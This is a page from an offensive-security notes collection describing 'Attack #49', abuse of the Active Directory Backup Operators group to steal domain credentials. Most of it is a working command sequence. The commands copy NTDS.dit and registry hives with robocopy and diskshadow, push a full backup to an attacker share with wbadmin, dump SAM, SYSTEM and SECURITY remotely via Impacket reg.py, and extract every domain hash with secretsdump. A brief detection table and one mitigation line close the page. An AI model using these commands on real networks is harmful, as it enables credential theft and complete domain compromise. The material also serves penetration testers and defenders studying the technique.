title: "Attack #49 โ Abusing Backup Operators Group" description: "Members of Backup Operators have the SeBackupPrivilege and SeRestorePrivilege, which grants them the ability to read and write any file on the system โโฆ" category: active-directory subcategory: "Privilege & Group Abuse" tags: ["active-directory", "privilege-escalation", "hashing"] tools: ["Impacket", "PowerShell"] difficulty: advanced updated: "2026-08-10" source: "vault:ActiveDirectory/AD-Attack/Category-Six/๐ฃ Attack #49 โ Abusing Backup Operators Group.md"#
๐ฃ Attack #49 โ Abusing Backup Operators Group#
๐ How It Works#
Members of Backup Operators have the SeBackupPrivilege and SeRestorePrivilege, which grants them the ability to read and write any file on the system โ bypassing NTFS ACLs entirely. This means a Backup Operator can copy the NTDS.dit database and SYSTEM hive from a DC, extract all domain hashes offline, and achieve full domain compromise.
โ๏ธ Prerequisites#
| Requirement | Detail |
|---|---|
| Membership in Backup Operators | Provides SeBackupPrivilege + SeRestorePrivilege |
| Logon access to DC | RDP or WinRM (Backup Operators can log on locally by default) |
๐ป Full Commands#
# โโ Verify privileges โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
whoami /priv
# SeBackupPrivilege = Read any file
# SeRestorePrivilege = Write any file
# โโ Method 1: robocopy backup mode โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
robocopy /B C:\Windows\NTDS C:\Temp ntds.dit
reg save HKLM\SYSTEM C:\Temp\SYSTEM
# โโ Method 2: diskshadow + robocopy โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
# Create diskshadow script:
echo "set context persistent nowriters" > script.txt
echo "add volume C: alias mydrive" >> script.txt
echo "create" >> script.txt
echo "expose %mydrive% Z:" >> script.txt
diskshadow /s script.txt
robocopy /B Z:\Windows\NTDS C:\Temp ntds.dit
# โโ Method 3: wbadmin (Windows Server Backup) โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
wbadmin start backup -backuptarget:\\ATTACKER\share -include:C: -quiet
# Then extract NTDS.dit from backup
# โโ Parse offline โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
secretsdump.py -ntds ntds.dit -system SYSTEM LOCAL -outputfile backup_op_dump
# โโ Remote via reg.py (SeBackupPrivilege) โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
reg.py corp.local/backup_user:'Password1'@DC01.corp.local save -keyName 'HKLM\SAM' -o SAM
reg.py corp.local/backup_user:'Password1'@DC01.corp.local save -keyName 'HKLM\SYSTEM' -o SYSTEM
reg.py corp.local/backup_user:'Password1'@DC01.corp.local save -keyName 'HKLM\SECURITY' -o SECURITY
secretsdump.py -sam SAM -system SYSTEM -security SECURITY LOCAL
๐ก๏ธ Detection โ Event IDs#
| Event ID | Source | What to Look For |
|---|---|---|
| 4672 | Security Log | SeBackupPrivilege/SeRestorePrivilege assigned at logon |
| 4663 | Security Log | Object access โ NTDS.dit file read |
| 8222 | Security Log | Shadow copy created |
๐ Attack Chain Context#
[Backup Operators] โโโ SeBackupPrivilege โ read NTDS.dit โ all domain hashes
โ
โโโโ ๐ Bypass NTFS ACLs โ copy any file including NTDS.dit
โโโโ ๐ Offline parsing โ no DCSync needed
โโโโ ๐ Defeated by: limit Backup Operators membership, monitor privilege use
โ Attack #49 โ Backup Operators complete.